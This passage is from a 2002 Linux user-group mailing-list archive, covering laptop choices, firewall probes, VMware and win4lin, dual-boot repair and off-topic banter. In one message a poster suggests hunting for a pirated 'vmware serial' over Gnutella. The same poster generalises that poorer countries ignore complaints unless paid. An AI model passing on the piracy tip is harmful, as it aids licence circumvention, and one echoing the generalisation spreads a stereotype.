use as a > general-purpose machine. One of my primary uses on the old laptop was > for testing new *nix systems (FreeBSD, various distributions of Linux, > etc.). > > I am considering buying from PC Club (www.pcclub.com), but if anybody > else has any suggestions, I am willing to listen. > > The question I am more interested in, however, is whether I should go > with an Intel or an AMD mobile processor. Intel seems to have some very > nice features for their mobile line, but I have been unable to locate > some good comparisons of the two. If somebody on the list has > researched this item, I would love to hear from you. > > Thank you ahead of time. > > PS: I would really love an Apple system, but then I couldn't use it as > test bed. Still, if someone can sell me on Mac OS X . . . > > PPS: I am sorry that I butchered the English language in the above message. > I am hungry, and my brain is not working properly. > > -- > Logan Kennelly > ,,, > (. .) > --ooO-(_)-Ooo-- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 23:57:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 19:57:01 -0400 Subject: code red virus? References: <3D06F5CB.84E0A50D@mindspring.com> Message-ID: <3D068E4D.13757D40@georgetoft.com> Try: $ whois 217.70.107.151@whois.ripe.net There's not much you can do. In my experience, the poorer the country, the less they care about anything you have to say. If you offer them some good ol' US greenbacks, they might change their tune. Why do you think the bulk of the spam comes from China and Taiwan? Because they don't care about netiquet - they want the cash. George User wrote: > > Lately we have noticed that our friendly firewall is taking hits from > what seems to be Russia. At least today it seems to be Russia. > Novoisvirsk, it seems like, according to traceroute. > I don't know a whole lot about probes like this but am thankful to you > folks for your guidance with regard to firewalls. > > Is there something that we can do with regard to this type of thing? > Maybe, just track them down for fun. Where would be a good place to > start reading about this sort of thing. > > We trace routed them throught 25 hops to 217.70.107.151 > > p151.rnttu.sinor.ru was the last hop on the list. > > Thank you > Roger > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 00:02:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 20:02:31 -0400 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <3D055C10.29367AC0@georgetoft.com> <200206102200.00787.plug@the-arcanum.org> <3D05E163.2F12A01A@georgetoft.com> <3D05FCB9.1020001@asu.edu> Message-ID: <3D068F97.13F73297@georgetoft.com> Are we talking the same version? Or did they have a recent pricing structure change? George Roderick Ford wrote: > > For personal use, the price is ~$120...used to be $99. > > Rod > > George Toft wrote: > > Hi Nathan, > > > > The price for vmware is $299. > > > > George > > > > > > Nathan England wrote: > > > >>-----BEGIN PGP SIGNED MESSAGE----- > >>Hash: SHA1 > >> > >>George, > >>How much did you pay for vmware? > >> > >>Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > >> > >>>My experience with vmware is very positive. Issues with vmware: > >>>- I cannot listen to Internet Radio at kccnfm100.com. Even with four > >>>new software > >>>downloads, three reboots (virtual), and 2 crashes, all I got was static. > >>>- vmware does not do streaming media via USB. Want to use a USB > >>>camera? Forget it. > >>>- vmware with sound is usually preceeded with a loud pop. > >>>- vmware does not support directx very well (if at all). > >>> > >>>Other than that, it lets me do my taxes, browse using IE 5.5, and gives > >>>me blue screens, > >>>just like the real thing. > >>> > >>>George > >>> > >>>Mike Porter wrote: > >>> > >>>>Ok, this is intriguing to me. I am looking to migrate my house over to > >>>>Linux, but I have some apps for which I cannot find comparable *nix > >>>>substitutes. (Believe it or not, the request to move torward Linux is at > >>>>my wife's request) > >>>> > >>>>So, those who have experienced VMware, win4lin, and the like, can you > >>>>offer me your best suggestions as far as which you prefer and which > >>>>flavor of Linux you believe is most solid with your choice? Also, any > >>>>gotchas that you can think of would be most helpful. > >>>> > >>>>Also, has anyone run into problems with accessing Windows only devices > >>>>using either of these options? > >>>> > >>>>Mike > >>>> > >>>>-----Original Message----- > >>>>From: Derek Neighbors [mailto:derek@gnue.org] > >>>>Sent: Sunday, May 26, 2002 9:36 PM > >>>>To: plug-discuss@lists.plug.phoenix.az.us > >>>>Cc: punkmmiv@cox.net > >>>>Subject: Re: Windows and Linux > >>>> > >>>>On 26 May 2002 22:44:49 -0700 > >>>> > >>>>Matt wrote: > >>>> > >>>>>I know that Windows and Linux are supposed to operate pretty well > >>>>>together, but the only articles I've read are about installing Linux > >>>>>once Windows is already there. I'm running a pure SuSE 8.0 box and I > >>>>>was wondering if it's possible to install Windows on it while still > >>>>>being able to use my current install? > >>>> > >>>>Try win4lin. It lets you run windows as a window inside your GNU/Linux > >>>>environment. Unlike VMWare and friends it is not a VM. Also, unlike > >>>>WINE it actually works and works well. It will even let windows use > >>>>(read/write) to your GNU/Linux file systems and such. It is not free, > >>>>but neither is M$ Windows (so I assume you dont have a problem with > >>>>that) and it is by far the best way to 'suffer' M$ while not having to > >>>>'leave' a real operating system. > >>>> > >>>>-Derek > >>>>________________________________________________ > >>>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>>>post to the list quickly and you use Netscape to write mail. > >>>> > >>>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >>>>________________________________________________ > >>>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>>>post to the list quickly and you use Netscape to write mail. > >>>> > >>>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >>> > >>>________________________________________________ > >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>>post to the list quickly and you use Netscape to write mail. > >>> > >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > >> > >>-----BEGIN PGP SIGNATURE----- > >>Version: GnuPG v1.0.7 (GNU/Linux) > >> > >>iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr > >>UHgqeghEeXKGOxPtBOCylhE= > >>=GPfW > >>-----END PGP SIGNATURE----- > >> > >>________________________________________________ > >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >> > >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 00:12:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 20:12:20 -0400 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <200206102200.00787.plug@the-arcanum.org> <3D05E163.2F12A01A@georgetoft.com> <200206110847.11590.plug@the-arcanum.org> Message-ID: <3D0691E4.5C7664EE@georgetoft.com> You could download the RPM, then use a Gnutella client to search for "vmware serial" and see what pops up. This, however, goes against why I buy retail distros - it's cool to support a company that makes Linux products. I spent Thousands of $$$ on Windows crap just to get what's on a Linux distro for under $100. Quite a bit of my Windows $$$ went for clean up software, stabilizing software, and anti-virus software - none of which is necessary under Linux. This page still shows $299: https://www.vmware.com/request_processor?nextPage=/vmwarestore/newstore/category.jsp&action=CATALOG.GETGROUPS&application=store&ProductGroupCodes=WKST3-WIN,WKST3-LX The flexibility is wonderful. I use it to create testbeds that I can destroy. I have a copy of my World Famous (well, it will be) Firewall that I pound. I verified my backup procedure by restoring the backup to a vmware instance - including disk partitioning. I have a copy of Win95, that does my taxes, and some avi -> mpeg conversions for me. I have a full e-commerce server set up. If I totally hose any of them, I restore the image from backup, and restart it. Trying this on real hardware is not really feasible. George Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Ouch! > That's a little our of my price range! > > Am Dienstag 11 Juni 2002 04:39 vormittags schrieb George Toft: > > Hi Nathan, > > > > The price for vmware is $299. > > > > George > > > > Nathan England wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > > Hash: SHA1 > > > > > > George, > > > How much did you pay for vmware? > > > > > > Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > > > > My experience with vmware is very positive. Issues with vmware: > > > > - I cannot listen to Internet Radio at kccnfm100.com. Even with four > > > > new software > > > > downloads, three reboots (virtual), and 2 crashes, all I got was > > > > static. - vmware does not do streaming media via USB. Want to use a > > > > USB camera? Forget it. > > > > - vmware with sound is usually preceeded with a loud pop. > > > > - vmware does not support directx very well (if at all). > > > > > > > > Other than that, it lets me do my taxes, browse using IE 5.5, and gives > > > > me blue screens, > > > > just like the real thing. > > > > > > > > George > > > > > > > > Mike Porter wrote: > > > > > Ok, this is intriguing to me. I am looking to migrate my house over > > > > > to Linux, but I have some apps for which I cannot find comparable > > > > > *nix substitutes. (Believe it or not, the request to move torward > > > > > Linux is at my wife's request) > > > > > > > > > > So, those who have experienced VMware, win4lin, and the like, can you > > > > > offer me your best suggestions as far as which you prefer and which > > > > > flavor of Linux you believe is most solid with your choice? Also, > > > > > any gotchas that you can think of would be most helpful. > > > > > > > > > > Also, has anyone run into problems with accessing Windows only > > > > > devices using either of these options? > > > > > > > > > > Mike > > > > > > > > > > -----Original Message----- > > > > > From: Derek Neighbors [mailto:derek@gnue.org] > > > > > Sent: Sunday, May 26, 2002 9:36 PM > > > > > To: plug-discuss@lists.plug.phoenix.az.us > > > > > Cc: punkmmiv@cox.net > > > > > Subject: Re: Windows and Linux > > > > > > > > > > On 26 May 2002 22:44:49 -0700 > > > > > > > > > > Matt wrote: > > > > > > I know that Windows and Linux are supposed to operate pretty well > > > > > > together, but the only articles I've read are about installing > > > > > > Linux once Windows is already there. I'm running a pure SuSE 8.0 > > > > > > box and I was wondering if it's possible to install Windows on it > > > > > > while still being able to use my current install? > > > > > > > > > > Try win4lin. It lets you run windows as a window inside your > > > > > GNU/Linux environment. Unlike VMWare and friends it is not a VM. > > > > > Also, unlike WINE it actually works and works well. It will even let > > > > > windows use (read/write) to your GNU/Linux file systems and such. It > > > > > is not free, but neither is M$ Windows (so I assume you dont have a > > > > > problem with that) and it is by far the best way to 'suffer' M$ while > > > > > not having to 'leave' a real operating system. > > > > > > > > > > -Derek > > > > > ________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > -----BEGIN PGP SIGNATURE----- > > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > > > iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr > > > UHgqeghEeXKGOxPtBOCylhE= > > > =GPfW > > > -----END PGP SIGNATURE----- > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE9Bht/Q7yNnsYcupwRAhNWAKChScTJATCgmuNIRvNoSCKzhbKd5QCgiJ1C > UyLE5jAFRuvxRSWhfXHE6dI= > =4T27 > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 00:27:13 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 20:27:13 -0400 Subject: Linux for Christians References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> <200206102322.38624.voltage_spike@fastmail.fm> <3D060AA6.3010503@ttiltd.com> Message-ID: <3D069561.41A184B1@georgetoft.com> I remember my friend's mother's reaction when she found out he had the soundtrack from Saturday Night Fever (remember the Bee Gees?) - Devil music she said it was. Here we are, 24 years later, and we all seem to have survived. 24 years from now, when everyone has a PDA watch with personal locators, integrated video phone, full Internet connectivity, proximity transceivers for POS purchasing, full-motion color video capture capability and onboard MPEG-12 compression on its puny 1TB memory card, we'll look back at those that thought the Internet was evil and smile at their naivity. Anyone read the book "The Road Ahead" by Bill Gates? Excellent book, and the CD in the back (if you can find a Windows box that will actually run it) has a great peak into the future. George Greg wrote: > > Heeeeeey....!!!! > > Put the cat down and step away from the keyboard! > haha, just joking > > Internet is evil? > Damn! sometimes I still feel like I am living in dark ages. > When do these morons realize that technology is never good or bad! > It is neutral and only what you do with it is good or bad! > > For what it's worth I could probably use some Christian distro and host > pron on it. (LOL) > How does this sound to you all? Whould that constitute blasphemy? > > Greg > > Voltage Spike wrote: > > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >On Monday 10 June 2002 22:43, Kurt Granroth wrote: > > > > > >>What *this* site is is yet another Special Interests Group with links > >>to software related to their interest. It's no different, really, > >>than an animal lover offering links to screensavers, wallpapers, pet > >>interaction programs, and the like. Or any low-budget advocacy group > >>sharing info on using Linux to advance the cause. > >> > >> > > > >Don't worry. We'd laugh at the cat lovers as well. No harm > >intended. ;-) > > > > > > > >>I actually did something a *little* similar not that long ago with my > >>own church in an attempt to get people to interact more online. I had > >>some tutorials and the like written up on how to use Linux and ogg > >>vorbis (and was getting into icecast) to allow church members spread > >>around the country and the world to still stay in touch. > >>Hmm.. although in my case, midway through my work, I was told by the > >>Church Board that I was to cease and desist any and all work I was > >>doing since the Internet was evil (no joke) and they thought people > >>should spend less time online, not more. Ah well. > >> > >> > > > >"Evil"? I think I hear the words of an individual with little > >experience. They need to keep in mind that the first amendment doesn't > >just apply to them. > > > >In the case of spending more time offline, that is certainly a common > >thread among society. However, if the religious leader of choice can > >spend a couple of hours a day talking to people, then they should > >respect my right to do the same. > > > >Your project sounds like it is dying to be placed on the PLUG website, > >though. :-) > > > >- -- > > Voltage Spike > > ,,, > > (. .) > >- --ooO-(_)-Ooo-- > >-----BEGIN PGP SIGNATURE----- > >Version: GnuPG v1.0.6 (GNU/Linux) > >Comment: For info see http://www.gnupg.org > > > >iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN > >+nl5JW8PnnIFGzFr+PUmJrs= > >=xg3K > >-----END PGP SIGNATURE----- > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 00:39:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bruce and Kathy Pettycrew) Date: Tue, 11 Jun 2002 17:39:09 -0700 Subject: Tux' religious affiliation In-Reply-To: <200206111535.g5BFZ2215165@PlugList.MyButt.Net> Message-ID: <3.0.6.32.20020611173909.007a7100@pop.west.cox.net> Free software is, as the Firesign Theatre stated in _Tail of the Giant Rat of Sumatra_, "A Power SO great that it can _only_ be used for good or for evil". From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 01:02:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 11 Jun 2002 18:02:16 -0700 Subject: Tux' religious affiliation In-Reply-To: <3.0.6.32.20020611173909.007a7100@pop.west.cox.net> References: <3.0.6.32.20020611173909.007a7100@pop.west.cox.net> Message-ID: <1023843737.19030.12.camel@desktop.capnet.lan> --=-PU/tdv41czzO9+h6ubfc Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2002-06-11 at 17:39, Bruce and Kathy Pettycrew wrote: >=20 > Free software is, as the Firesign Theatre stated in=20 > _Tail of the Giant Rat of Sumatra_, >=20 > "A Power SO great that it can _only_ be used for good or for evil". >=20 And they must have been talking about redmond when they said, "I think we're all bozos on this bus." --=20 D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. --=-PU/tdv41czzO9+h6ubfc Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA9Bp2Y6He1yLs+JHwRAmivAJ4tLli7hvzBx1nAMWyxN/03BPvp1wCgkoL2 O2fh9khRZGwk7P5UrdoTcLk= =kol7 -----END PGP SIGNATURE----- --=-PU/tdv41czzO9+h6ubfc-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 01:04:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 18:04:32 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206112355.TAA07496@hostinworld6.com> References: <200206112355.TAA07496@hostinworld6.com> Message-ID: <200206111804.32104.voltage_spike@fastmail.fm> On Tuesday 11 June 2002 04:55 pm, Bryce "C." wrote: > If you're going to the installfest, i'll burn you a copy. Just don't > expect support from me. I didn't know you could copy laptops so easily. Thanks! > On 11 Jun 2002 12:23:47 -0700, Logan Kennelly wrote: > > I am looking into buying a new notebook computer for use as a > > general-purpose machine. One of my primary uses on the old laptop was > > for testing new *nix systems (FreeBSD, various distributions of Linux, > > etc.). > > > > I am considering buying from PC Club (www.pcclub.com), but if anybody > > else has any suggestions, I am willing to listen. > > > > The question I am more interested in, however, is whether I should go > > with an Intel or an AMD mobile processor. Intel seems to have some > > very nice features for their mobile line, but I have been unable to > > locate some good comparisons of the two. If somebody on the list has > > researched this item, I would love to hear from you. > > > > Thank you ahead of time. > > > > PS: I would really love an Apple system, but then I couldn't use it as > > test bed. Still, if someone can sell me on Mac OS X . . . > > > > PPS: I am sorry that I butchered the English language in the above > > message. I am hungry, and my brain is not working properly. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 13:55:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (j) Date: Wed, 12 Jun 2002 06:55:57 -0700 Subject: code red virus? In-Reply-To: <20020611153210.D11403@lilly.csoft.net> References: <3D06F5CB.84E0A50D@mindspring.com> <20020611153210.D11403@lilly.csoft.net> Message-ID: By "hits" I meant attempts to negotiate the firewall as per the intrusion detection logs. Sorry if I was not clear. On Tuesday 11 June 2002 13:32, you wrote: > How are you defining "hits"? > > > On Wed, Jun 12, 2002 at 12:18:36AM -0700, User wrote: > Lately we have noticed that our friendly firewall is taking hits from > what seems to be Russia. At least today it seems to be Russia. > Novoisvirsk, it seems like, according to traceroute. > I don't know a whole lot about probes like this but am thankful to you > folks for your guidance with regard to firewalls. > > Is there something that we can do with regard to this type of thing? > Maybe, just track them down for fun. Where would be a good place to > start reading about this sort of thing. > > We trace routed them throught 25 hops to 217.70.107.151 > > p151.rnttu.sinor.ru was the last hop on the list. > > Thank you > Roger > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 02:14:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 11 Jun 2002 19:14:55 -0700 Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. In-Reply-To: Message-ID: I'm trying to use the update installation to Mandrake 8.2 to fix the problem; it's uncooporative. -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Mark Berkwitt Sent: Tuesday, June 11, 2002 3:34 PM To: PLUG Subject: I created a new fat32 partition from free space, now my dual boot W2K/Mandrake won't boot. I created a new fat32 partition from free space on my 40GB hdd. Now my dual boot W2K/Mandrake won't boot. I used the "Disk Manager" feature in W2K Pro to create a fat32 partition. It complained that another program was using the hdd or something but I managed to format it anyway and use it within W2K. Now I can't start my linux installation. The W2K still boots. This is my partition map: Primary HTFS 7.81GB Extended 494MB / ext2 or ext3 243MB swap 2.93GB ? ext? 4.6GB /home ext? 3.91GB fat32 << Here's the new one I just made. (G:) 14GB FREE 3.91GB fat32 << Old part. for sharing .mp3 and transfering between OSs. (F:) Here is my error message: Activating swap partitions: swapon: /dev/hda7: Invalid argument [FAILED] Finding module dependencies [OK] Checking filesystems /dev/hda9: The superblock could not be read or does not describe a correct ext2 filesystem. If the device is valid and it really contains an ext2 filesystem (and not a swap or ufs or something else), then the superblock is corrupt, and you might try running e2fsck with an alternate superblodk: e2fsck -b 8193 fsck.ext3: Bad magic number in super-block while trying to open /dev/hda9 /dev/hda8: clean, 587/602656 files, 29306/1204867 Failed to check filesystem. Do you want to repair the errors? (Y/N) (beware, you can lose data) I tried deleting the newly created fat32 but my Mandrake 8.1 still won't start. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 02:32:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 11 Jun 2002 19:32:14 -0700 Subject: XP/Linux dual boot In-Reply-To: <200206110915.46929.krycom1@cox.net> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <200206110841.29148.plug@the-arcanum.org> <200206110915.46929.krycom1@cox.net> Message-ID: <200206111932.18540.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 That's good to know! But how did you do it? Did you set the partitions first using a partition editor? Future reference, and the rest of us might be interested. nathan Am Dienstag 11 Juni 2002 09:15 vormittags schrieb Richard L. Proctor: > On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > > > I would install XP in a fat32 partition. Don't use NTFS. > > As far as I know, you can't modify the fat32 partition that XP is on, or > > it will break it's crc consistency and it won't boot. > > > > I don't know if that means the partition table in general or not. > > You might try getting a copy of partition magic 7 and use that. > > If you don't have it, I can loan you a copy of the rescue disks. > > > > nathan > > I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the > drive and SuSE on the other half and as a dual boot system. Works fine!! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BrKyQ7yNnsYcupwRAq/AAJ419YG9aJZzf76FPeu7M3UO5LHTuACfRbM0 sNez/EfY+RNFwZwF559tvD4= =Tvb1 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 03:12:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 11 Jun 2002 20:12:25 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206111804.32104.voltage_spike@fastmail.fm> References: <200206112355.TAA07496@hostinworld6.com> <200206111804.32104.voltage_spike@fastmail.fm> Message-ID: <200206120313.XAA09992@hostinworld6.com> I meant OSX and I think you knew that. On 11 Jun 2002 18:04:32 -0700, Logan Kennelly wrote: > On Tuesday 11 June 2002 04:55 pm, Bryce "C." wrote: > > If you're going to the installfest, i'll burn you a copy. Just don't > > expect support from me. > > I didn't know you could copy laptops so easily. Thanks! > > > On 11 Jun 2002 12:23:47 -0700, Logan Kennelly wrote: > > > I am looking into buying a new notebook computer for use as a > > > general-purpose machine. One of my primary uses on the old laptop was > > > for testing new *nix systems (FreeBSD, various distributions of Linux, > > > etc.). > > > > > > I am considering buying from PC Club (www.pcclub.com), but if anybody > > > else has any suggestions, I am willing to listen. > > > > > > The question I am more interested in, however, is whether I should go > > > with an Intel or an AMD mobile processor. Intel seems to have some > > > very nice features for their mobile line, but I have been unable to > > > locate some good comparisons of the two. If somebody on the list has > > > researched this item, I would love to hear from you. > > > > > > Thank you ahead of time. > > > > > > PS: I would really love an Apple system, but then I couldn't use it as > > > test bed. Still, if someone can sell me on Mac OS X . . . > > > > > > PPS: I am sorry that I butchered the English language in the above > > > message. I am hungry, and my brain is not working properly. > > -- > Logan Kennelly > ,,, > (. .) > --ooO-(_)-Ooo-- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 03:22:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 20:22:05 -0700 Subject: New Notebook Recommendations? In-Reply-To: <200206111804.32104.voltage_spike@fastmail.fm> References: <200206112355.TAA07496@hostinworld6.com> <200206111804.32104.voltage_spike@fastmail.fm> Message-ID: <1023852125.3d06be5dac384@webmail.freedom2surf.net> Quoting Logan Kennelly : > On Tuesday 11 June 2002 04:55 pm, Bryce "C." wrote: > > If you're going to the installfest, i'll burn you a copy. Just don't > > expect support from me. > > I didn't know you could copy laptops so easily. Thanks! In case the "laptop replicator" does work (it's a M$ product, right?) my boss has a Toshiba Satellite 2805 that is going on eBay later this week (unless someone else snaps it up first). 650mHz Celeron, 6Gb HDD, DVD, 13.3in TFT, modem, ethernet - excellent condition; it rarely left the office. They are going for $575~675 on eBay. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 05:02:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Tue, 11 Jun 2002 22:02:10 -0700 (PDT) Subject: New Notebook Recommendations? In-Reply-To: <1023852125.3d06be5dac384@webmail.freedom2surf.net> Message-ID: <20020612050210.71089.qmail@web13405.mail.yahoo.com> I love my Dell Inspiron 8100 and I dual boot FreeBSD 4.5 (soon to be 4.6) and Win98se with it. I have some compatibility problems with it but I've been able to work around them ok. The casing is a little flimsy and it can get pretty hot depending on what you are doing. 2 thumbs up, a must see. http://www.openbsd.org/c2k2/hin/dscn0775.jpg Here you see a OpenBSD hacker tapping away at his. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 05:35:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike Butash) Date: Tue, 11 Jun 2002 22:35:48 -0700 Subject: New Notebook 